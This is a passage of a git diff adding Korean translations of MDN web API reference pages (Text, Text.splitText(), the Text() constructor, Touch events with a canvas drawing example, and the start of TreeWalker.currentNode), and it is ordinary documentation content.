+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "shapes.html#InterfaceSVGRectElement", "SVGRectElement")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Changed the inheritance from {{domxref("SVGElement")}} to {{domxref("SVGGeometryElement")}} and removed the implemented interfaces {{domxref("SVGTests")}}, {{domxref("SVGLangSpace")}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}}, and {{domxref("SVGTransformable")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#InterfaceSVGRectElement", "SVGRectElement")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.SVGRect")}}</p>
diff --git a/files/ko/web/api/text/index.html b/files/ko/web/api/text/index.html
new file mode 100644
index 0000000000..7d529ce578
--- /dev/null
+++ b/files/ko/web/api/text/index.html
@@ -0,0 +1,117 @@
+---
+title: Text
+slug: Web/API/Text
+tags:
+  - API
+  - DOM
+  - Interface
+  - Reference
+translation_of: Web/API/Text
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><strong><code>Text</code></strong> 인터페이스는 {{domxref("Element")}} 또는 {{domxref("Attr")}}의 문자형 콘텐츠를 표현합니다.</p>
+
+<p>요소의 콘텐츠에 마크업이 없을 경우 해당 요소는 요소의 텍스트를 담은 <code>Text</code> 를 구현한 단일 자식을 갖습니다. 반면에 요소에 마크업이 있을 경우 자식을 구성하는 정보 항목과 <code>Text</code> 노드로 파싱됩니다.</p>
+
+<p>새로운 문서는 각각의 텍스트 블록마다 하나의 <code>Text</code> 노드를 갖습니다. 문서의 콘텐츠가 변경됨에 따라 새로운 <code>Text</code> 노드가 생성될 수 있습니다. {{domxref("Node.normalize()")}} 메서드는 인접한 <code>Text</code> 객체에 대한 각각의 텍스트 블록을 다시 단일 노드로 병합합니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Methods" name="Methods">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Text.Text", "Text()")}} {{experimental_inline}}</dt>
+ <dd>제공한 매개변수를 텍스트 콘텐츠로 하는 <code>Text</code> 노드를 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p>부모인 {{domxref("CharacterData")}}로부터 속성을 상속합니다.</p>
+
+<dl>
+ <dt>{{domxref("Text.isElementContentWhitespace")}} {{readonlyInline}}{{ obsolete_inline() }}</dt>
+ <dd>
+ <p>텍스트 노드가 공백만 포함하는지 여부를 나타내는 {{domxref("Boolean")}} 플래그를 반환합니다.</p>
+ </dd>
+ <dt>{{domxref("Text.wholeText")}} {{readonlyInline}}</dt>
+ <dd>이 {{domxref("Node")}}와 논리적으로 인접한 모든 <code>Text</code> 노드의 텍스트를 문서 내의 순서대로 이어붙인 {{domxref("DOMString")}}을 반환합니다.</dd>
+ <dt>{{domxref("Text.assignedSlot")}} {{readonlyinline}}</dt>
+ <dd>이 요소와 연관된 {{domxref("HTMLSlotElement")}} 객체를 반환합니다.</dd>
+</dl>
+
+<h3 id="Slotable로부터_포함된_속성"><code>Slotable</code>로부터 포함된 속성</h3>
+
+<p><code>Text</code> 인터페이스는 {{domxref("Slotable")}} 믹스인이 정의하는 다음의 속성을 포함합니다.</p>
+
+<dl>
+ <dt>{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}</dt>
+ <dd>노드가 삽입된 {{htmlelement("slot")}}을 나타내는 {{domxref("HTMLSlotElement")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>부모인 {{domxref("CharacterData")}}로부터 메서드를 상속합니다.</p>
+
+<dl>
+</dl>
+
+<dl>
+ <dt>{{domxref("Text.replaceWholeText")}} {{ obsolete_inline() }}</dt>
+ <dd>현재 노드와 논리적으로 인접한 모든 노드의 텍스트를 지정한 텍스트로 대체합니다.</dd>
+</dl>
+
+<dl>
+ <dt><span class="internal">{{domxref("Text.splitText")}}</span></dt>
+ <dd>노드를 지정한 오프셋에서 두 노드로 분리합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#text', 'Text')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Removed the <code>isElementContentWhitespace</code> property.<br>
+    Removed the <code>replaceWholeText()</code> method.<br>
+    Added the <code>Text()</code> constructor.<br>
+    Added the <code>assignedSlot</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1312295772', 'Text')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Added the <code>isElementContentWhitespace</code> and <code>wholeText</code> properties.<br>
+    Added the <code>replaceWholeText()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1312295772', 'Text')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1312295772', 'Text')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Text")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model" title="/en-US/docs/DOM/DOM_Reference">DOM 인터페이스 목차</a>.</li>
+</ul>
diff --git a/files/ko/web/api/text/splittext/index.html b/files/ko/web/api/text/splittext/index.html
new file mode 100644
index 0000000000..dd45f3b83d
--- /dev/null
+++ b/files/ko/web/api/text/splittext/index.html
@@ -0,0 +1,95 @@
+---
+title: Text.splitText()
+slug: Web/API/Text/splitText
+tags:
+  - API
+  - DOM
+  - Text
+  - 메소드
+translation_of: Web/API/Text/splitText
+---
+<div>{{apiref("DOM")}}</div>
+
+<p><strong><code>Text.splitText()</code></strong> 메소드는 {{domxref("Text")}} 노드를 지정된 오프셋에서 두 노드로 분리합니다. 두 노드는 sibling으로써 트리에 유지됩니다.</p>
+
+<p>분리한 이후, 현재 노드는 지정된 오프셋 지점까지의 모든 컨텐츠를 포함하며, 새롭게 생성된 같은 타입의 노드는 남아있는 텍스트를 포함합니다. 새롭게 생성된 노드는 호출자에게 반환됩니다. 기존 노드가 부모를 갖고 있다면, 새 노드는 기존 노드의 다음 sibling으로 삽입됩니다. 기존 노드의 길이와 오프셋이 동일하다면, 새롭게 생성된 노드는 데이터를 갖지 않습니다.</p>
+
+<p>분리된 텍스트 노드는 {{domxref("Node.normalize()")}} 메소드를 사용해 이어붙혀질 수 있습니다.</p>
+
+<p>지정된 오프셋이 음수이거나 노드의 텍스트의 16 비트 단위의 수보다 크면 <code>INDEX_SIZE_ERR</code> 값을 갖는 {{domxref("DOMException")}} 을 throw됩니다. <code>NO_MODIFICATION_ALLOWED_ERR</code> 값을 갖는 {{domxref("DOMException")}} 은 노드가 읽기 전용일 때 throw됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>replacementNode</em> = <em>textnode</em>.splitText(offset)
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제에서 {{HTMLElement("p")}} 텍스트 노드는 두 텍스트 노드로 분리되며 그 사이에 {{HTMLElement("span")}} 이 삽입됩니다.</p>
+
+<pre class="brush:html">&lt;body&gt;
+  &lt;p id="p"&gt;foobar&lt;/p&gt;
+
+  &lt;script type="text/javascript"&gt;
+    var p = document.getElementById('p');
+    var textnode = p.firstChild;
+
+    // foo 와 bar 사이를 분리
+    var replacementNode = textnode.splitText(3);
+
+    // ' span contents ' 를 포함하는 span을 생성
+    var span = document.createElement('span');
+    span.appendChild(document.createTextNode(' span contents '));
+
+    // 'bar' 앞에 span을 추가
+    p.insertBefore(span, replacementNode);
+
+    // 결과: &lt;p id="p"&gt;foo&lt;span&gt; span contents &lt;/span&gt;bar&lt;/p&gt;
+  &lt;/script&gt;
+&lt;/body&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-text-splittext', 'Text.splitText')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>{{SpecName('DOM3 Core')}} 로부터 변경 사항 없음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-38853C1D', 'Text.splitText')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>{{SpecName('DOM2 Core')}} 로부터 변경 사항 없음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-38853C1D', 'Text.splitText')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>{{SpecName('DOM1')}} 로부터 변경 사항 없음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-38853C1D', 'Text.splitText')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Text.splitText")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>이 메소드가 속한 {{domxref("Text")}} 인터페이스.</li>
+ <li>반대되는 메소드: {{domxref("Node.normalize")}}.</li>
+</ul>
diff --git a/files/ko/web/api/text/text/index.html b/files/ko/web/api/text/text/index.html
new file mode 100644
index 0000000000..e993de91c8
--- /dev/null
+++ b/files/ko/web/api/text/text/index.html
@@ -0,0 +1,55 @@
+---
+title: Text()
+slug: Web/API/Text/Text
+tags:
+  - API
+  - DOM
+  - Text
+  - 생성자
+  - 실험중
+translation_of: Web/API/Text/Text
+---
+<p>{{ Apiref("DOM")}}{{seeCompatTable}}</p>
+
+<p><code><strong>Text()</strong></code> 생성자는 옵션인 파라미터로 주어진 문자형 컨텐츠인 {{domxref("DOMString")}} 으로 새롭게 생성된 {{domxref("Text")}} 객체를 반환합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>text1</em> = new Text(); // 빈 텍스트 노드 생성
+<em>text2</em> = new Text("텍스트 노드입니다");
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js"><code class="language-js">text <span class="operator token">=</span> new Text<span class="function token"><span class="punctuation token">("Test"</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#text', 'Text.Text()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Text.Text")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Gecko_DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM 인터페이스 목차.</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/api/touch_events/index.html b/files/ko/web/api/touch_events/index.html
new file mode 100644
index 0000000000..7663877d7a
--- /dev/null
+++ b/files/ko/web/api/touch_events/index.html
@@ -0,0 +1,399 @@
+---
+title: Touch events
+slug: Web/API/Touch_events
+translation_of: Web/API/Touch_events
+---
+<div>{{DefaultAPISidebar("Touch Events(터치이벤트)")}}</div>
+
+<div>일부분만 번역함.</div>
+
+<div> </div>
+
+<p> 터치를 기반으로 한 양질의 서비스를 제공하기 위해, Touch Events(터치이벤트)는 터치로 인한 움직임을 감지할 능력을 제공합니다.</p>
+
+<p>터치 이벤트 인터페이스는 상대적으로 low-lever API이며 multi-touch interaction등의 다양한 동작을 특정해 트리거 할 수 있습니다. multi-touch interaction은 한 손가락이 터치패드에 처음 닫는 순간 시작합니다. 이후 다른 손가락들이 터치패드에 닿고 선택적으로 터치패드를 가로지를 수도 있습니다. interaction은 손가락들이 터치패드에서 떨어지면 끝납니다. interaction동안에 어플리케이션은 touch start, move, end 이벤트들을 받습니다.</p>
+
+<p>Touch events는 동시에 여러 손가락으로 동시에 혹은 여러 지점에 터치 할 수 있다는 것만 제외하면 마우스 이벤트와 유사합니다. 터치이벤트 인터페이스는 현재 액션과 터치 지점을 캡슐화 합니다. single touch로 대표되는 interface는 터치된 정보등을 포함합니다.</p>
+
+<h2 id="Definitions">Definitions</h2>
+
+<dl>
+ <dt>Surface</dt>
+ <dd>터치 스크린, 터치 패드등을 포함합니다.</dd>
+</dl>
+
+<dl>
+ <dt>Touch point</dt>
+ <dd>손가락이나 터치 펜을 이용해 터치한 지점을 말합니다.</dd>
+</dl>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("TouchEvent")}}</dt>
+ <dd>터치나 surface 위에서의 움직임들 입니다.</dd>
+ <dt>{{domxref("Touch")}}</dt>
+ <dd>touch surface위의 한 지점에 접촉할 때 발생합니다.</dd>
+ <dt>{{domxref("TouchList")}}</dt>
+ <dd>다중의 터치가 동시에 일어 났을 때 발생합니다.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>This example tracks multiple touch points at a time, allowing the user to draw in a {{HTMLElement("canvas")}} with more than one finger at a time. It will only work on a browser that supports touch events.</p>
+
+<div class="note"><strong>Note:</strong> The text below uses the term "finger" when describing the contact with the surface, but it could, of course, also be a stylus or other contact method.</div>
+
+<h3 id="Create_a_canvas">Create a canvas</h3>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="600" height="600" style="border:solid black 1px;"&gt;
+  Your browser does not support canvas element.
+&lt;/canvas&gt;
+&lt;br&gt;
+&lt;button onclick="startup()"&gt;Initialize&lt;/button&gt;
+&lt;br&gt;
+Log: &lt;pre id="log" style="border: 1px solid #ccc;"&gt;&lt;/pre&gt;
+</pre>
+
+<h3 id="Setting_up_the_event_handlers">Setting up the event handlers</h3>
+
+<p>When the page loads, the <code>startup()</code> function shown below should be called by our {{HTMLElement("body")}} element's <code>onload</code> attribute (but in the example we use a button to trigger it, due to limitations of the MDN live example system).</p>
+
+<pre class="brush: js">function startup() {
+  var el = document.getElementsByTagName("canvas")[0];
+  el.addEventListener("touchstart", handleStart, false);
+  el.addEventListener("touchend", handleEnd, false);
+  el.addEventListener("touchcancel", handleCancel, false);
+  el.addEventListener("touchmove", handleMove, false);
+  log("initialized.");
+}
+</pre>
+
+<p>This simply sets up all the event listeners for our {{HTMLElement("canvas")}} element so we can handle the touch events as they occur.</p>
+
+<h4 id="Tracking_new_touches">Tracking new touches</h4>
+
+<p>We'll keep track of the touches in-progress.</p>
+
+<pre class="brush: js">var ongoingTouches = [];
+</pre>
+
+<p>When a {{event("touchstart")}} event occurs, indicating that a new touch on the surface has occurred, the <code>handleStart()</code> function below is called.</p>
+
+<pre class="brush: js">function handleStart(evt) {
+  evt.preventDefault();
+  log("touchstart.");
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    log("touchstart:" + i + "...");
+    ongoingTouches.push(copyTouch(touches[i]));
+    var color = colorForTouch(touches[i]);
+    ctx.beginPath();
+    ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false);  // a circle at the start
+    ctx.fillStyle = color;
+    ctx.fill();
+    log("touchstart:" + i + ".");
+  }
+}
+</pre>
+
+<p>This calls {{domxref("event.preventDefault()")}} to keep the browser from continuing to process the touch event (this also prevents a mouse event from also being delivered). Then we get the context and pull the list of changed touch points out of the event's {{domxref("TouchEvent.changedTouches")}} property.</p>
+
+<p>After that, we iterate over all the {{domxref("Touch")}} objects in the list, pushing them onto an array of active touch points and drawing the start point for the draw as a small circle; we're using a 4-pixel wide line, so a 4 pixel radius circle will show up neatly.</p>
+
+<h4 id="Drawing_as_the_touches_move">Drawing as the touches move</h4>
+
+<p>Each time one or more fingers moves, a {{event("touchmove")}} event is delivered, resulting in our <code>handleMove()</code> function being called. Its responsibility in this example is to update the cached touch information and to draw a line from the previous position to the current position of each touch.</p>
+
+<pre class="brush: js">function handleMove(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx &gt;= 0) {
+      log("continuing touch "+idx);
+      ctx.beginPath();
+      log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");");
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");");
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.lineWidth = 4;
+      ctx.strokeStyle = color;
+      ctx.stroke();
+
+      ongoingTouches.splice(idx, 1, copyTouch(touches[i]));  // swap in the new touch record
+      log(".");
+    } else {
+      log("can't figure out which touch to continue");
+    }
+  }
+}
+</pre>
+
+<p>This iterates over the changed touches as well, but it looks in our cached touch information array for the previous information about each touch in order to determine the starting point for each touch's new line segment to be drawn. This is done by looking at each touch's {{domxref("Touch.identifier")}} property. This property is a unique integer for each touch, and remains consistent for each event during the duration of each finger's contact with the surface.</p>
+
+<p>This lets us get the coordinates of the previous position of each touch and use the appropriate context methods to draw a line segment joining the two positions together.</p>
+
+<p>After drawing the line, we call <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice"><code>Array.splice()</code></a> to replace the previous information about the touch point with the current information in the <code>ongoingTouches</code> array.</p>
+
+<h4 id="Handling_the_end_of_a_touch">Handling the end of a touch</h4>
+
+<p>When the user lifts a finger off the surface, a {{event("touchend")}} event is sent. We handle both of these the same way: by calling the <code>handleEnd()</code> function below. Its job is to draw the last line segment for each touch that ended and remove the touch point from the ongoing touch list.</p>
+
+<pre class="brush: js">function handleEnd(evt) {
+  evt.preventDefault();
+  log("touchend");
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx &gt;= 0) {
+      ctx.lineWidth = 4;
+      ctx.fillStyle = color;
+      ctx.beginPath();
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8);  // and a square at the end
+      ongoingTouches.splice(idx, 1);  // remove it; we're done
+    } else {
+      log("can't figure out which touch to end");
+    }
+  }
+}
+</pre>
+
+<p>This is very similar to the previous function; the only real differences are that we draw a small square to mark the end and that when we call <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice"><code>Array.splice()</code></a>, we simply remove the old entry from the ongoing touch list, without adding in the updated information. The result is that we stop tracking that touch point.</p>
+
+<h4 id="Handling_canceled_touches">Handling canceled touches</h4>
+
+<p>If the user's finger wanders into browser UI, or the touch otherwise needs to be canceled, the {{event("touchcancel")}} event is sent, and we call the <code>handleCancel()</code> function below.</p>
+
+<pre class="brush: js">function handleCancel(evt) {
+  evt.preventDefault();
+  log("touchcancel.");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+    ongoingTouches.splice(idx, 1);  // remove it; we're done
+  }
+}
+</pre>
+
+<p>Since the idea is to immediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment.</p>
+
+<h3 id="Convenience_functions">Convenience functions</h3>
+
+<p>This example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear.</p>
+
+<h4 id="Selecting_a_color_for_each_touch">Selecting a color for each touch</h4>
+
+<p>In order to make each touch's drawing look different, the <code>colorForTouch()</code> function is used to pick a color based on the touch's unique identifier. This identifier is an opaque number, but we can at least rely on it differing between the currently-active touches.</p>
+
+<pre class="brush: js">function colorForTouch(touch) {
+  var r = touch.identifier % 16;
+  var g = Math.floor(touch.identifier / 3) % 16;
+  var b = Math.floor(touch.identifier / 7) % 16;
+  r = r.toString(16); // make it a hex digit
+  g = g.toString(16); // make it a hex digit
+  b = b.toString(16); // make it a hex digit
+  var color = "#" + r + g + b;
+  log("color for touch with identifier " + touch.identifier + " = " + color);
+  return color;
+}
+</pre>
+
+<p>The result from this function is a string that can be used when calling {{HTMLElement("canvas")}} functions to set drawing colors. For example, for a {{domxref("Touch.identifier")}} value of 10, the resulting string is "#aaa".</p>
+
+<h4 id="Copying_a_touch_object">Copying a touch object</h4>
+
+<p>Some browsers (mobile Safari, for one) re-use touch objects between events, so it's best to copy the bits you care about, rather than referencing the entire object.</p>
+
+<pre class="brush: js">function copyTouch(touch) {
+  return { identifier: touch.identifier, pageX: touch.pageX, pageY: touch.pageY };
+}</pre>
+
+<h4 id="Finding_an_ongoing_touch">Finding an ongoing touch</h4>
+
+<p>The <code>ongoingTouchIndexById()</code> function below scans through the <code>ongoingTouches</code> array to find the touch matching the given identifier, then returns that touch's index into the array.</p>
+
+<pre class="brush: js">function ongoingTouchIndexById(idToFind) {
+  for (var i = 0; i &lt; ongoingTouches.length; i++) {
+    var id = ongoingTouches[i].identifier;
+
+    if (id == idToFind) {
+      return i;
+    }
+  }
+  return -1;    // not found
+}
+</pre>
+
+<h4 id="Showing_what's_going_on">Showing what's going on</h4>
+
+<pre class="brush: js">function log(msg) {
+  var p = document.getElementById('log');
+  p.innerHTML = msg + "\n" + p.innerHTML;
+}</pre>
+
+<p>If your browser supports it, you can {{LiveSampleLink('Example', 'see it live')}}.</p>
+
+<p><a href="http://jsfiddle.net/Darbicus/z3Xdx/10/">jsFiddle example</a></p>
+
+<h2 id="Additional_tips">Additional tips</h2>
+
+<p>This section provides additional tips on how to handle touch events in your web application.</p>
+
+<h3 id="Handling_clicks">Handling clicks</h3>
+
+<p>Since calling <code>preventDefault()</code> on a {{event("touchstart")}} or the first {{event("touchmove")}} event of a series prevents the corresponding mouse events from firing, it's common to call <code>preventDefault()</code> on {{event("touchmove")}} rather than {{event("touchstart")}}. That way, mouse events can still fire and things like links will continue to work. Alternatively, some frameworks have taken to refiring touch events as mouse events for this same purpose. (This example is oversimplified and may result in strange behavior. It is only intended as a guide.)</p>
+
+<pre class="brush: js">function onTouch(evt) {
+  evt.preventDefault();
+  if (evt.touches.length &gt; 1 || (evt.type == "touchend" &amp;&amp; evt.touches.length &gt; 0))
+    return;
+
+  var newEvt = document.createEvent("MouseEvents");
+  var type = null;
+  var touch = null;
+
+  switch (evt.type) {
+    case "touchstart":
+      type = "mousedown";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchmove":
+      type = "mousemove";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchend":
+      type = "mouseup";
+      touch = evt.changedTouches[0];
+      break;
+  }
+
+  newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0,
+    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+    evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null);
+  evt.originalTarget.dispatchEvent(newEvt);
+}
+</pre>
+
+<h3 id="Calling_preventDefault()_only_on_a_second_touch">Calling preventDefault() only on a second touch</h3>
+
+<p>One technique for preventing things like <code>pinchZoom</code> on a page is to call <code>preventDefault()</code> on the second touch in a series. This behavior is not well defined in the touch events spec, and results in different behavior for different browsers (i.e., iOS will prevent zooming but still allow panning with both fingers; Android will allow zooming but not panning; Opera and Firefox currently prevent all panning and zooming.) Currently, it's not recommended to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Added <code>radiusX</code>, <code>radiusY</code>, <code>rotationAngle</code>, <code>force</code> properties</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<p>Note that unfortunately touch events may not fire at all on laptops with touch functionality (<a href="/en-US/docs/">test page</a>).</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("22.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The <code>dom.w3c_touch_events.enabled</code> tri-state preference can be used to disable (0), enable (1), and auto-detect (2) support for standard touch events; by default, they're on auto-detect (2).</p>
+
+<p>As of Gecko 24.0 {{geckoRelease("24.0")}}, the touch events support introduced with Gecko 18.0 {{geckoRelease("18.0")}} has been disabled on the desktop version of Firefox ({{bug(888304)}}), as some popular sites including Google and Twitter were not working properly. Once the bug is fixed, the API will be enabled again. To enable it anyway, open <code>about:config</code> and set the <code>dom.w3c_touch_events.enabled</code> preference to <code>2</code>. The mobile versions including <a href="/en-US/docs/Mozilla/Firefox_for_Android">Firefox for Android</a> and <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> are not affected by this change.</p>
+
+<p>[2] As of Gecko 52.0, touch events support has been fixed and reenabled in Windows desktop platforms.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Prior to Gecko 6.0 {{geckoRelease("6.0")}}, Gecko offered a <a href="/en-US/docs/Web/Guide/Events/Touch_events_(Mozilla_experimental)">proprietary touch event API</a>. That API is now deprecated; you should switch to this one.</p>
+</div>
+
+<h3 id="Firefox_touch_events_and_multiprocess_(e10s)">Firefox, touch events, and multiprocess (e10s)</h3>
+
+<p>In Firefox, touch events are disabled when e10s (electrolysis; <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">multiprocess Firefox</a>) is disabled. e10s is on by default in Firefox, but can end up becoming disabled in certain situations, for example when certain accessibility tools or Firefox add-ons are installed that require e10s to be disabled to work. This means that even on a touchscreen-enabled desktop/laptop, touch events won't be enabled.</p>
+
+<p>You can test whether e10s is disabled by going to <code>about:support</code> and looking at the "Multiprocess Windows" entry in the "Application Basics" section. 1/1 means it is enabled, 0/1 means disabled.</p>
+
+<p>If you want to force e10s to be on — to explicitly reenable touch events support — you need to go to <code>about:config</code> and create a new boolean preference <code>browser.tabs.remote.force-enable</code>. Set it to <code>true</code>, restart the browser, and e10s will be enabled regardless of any other settings.</p>
diff --git a/files/ko/web/api/treewalker/currentnode/index.html b/files/ko/web/api/treewalker/currentnode/index.html
new file mode 100644
index 0000000000..1e68eabbb5
--- /dev/null
+++ b/files/ko/web/api/treewalker/currentnode/index.html
@@ -0,0 +1,63 @@
+---
+title: TreeWalker.currentNode
+slug: Web/API/TreeWalker/currentNode
+tags:
+  - API
+  - DOM
+  - Property
+  - Reference
+  - TreeWalker
+translation_of: Web/API/TreeWalker/currentNode
+---
+<div>{{ APIRef("DOM") }}</div>
+
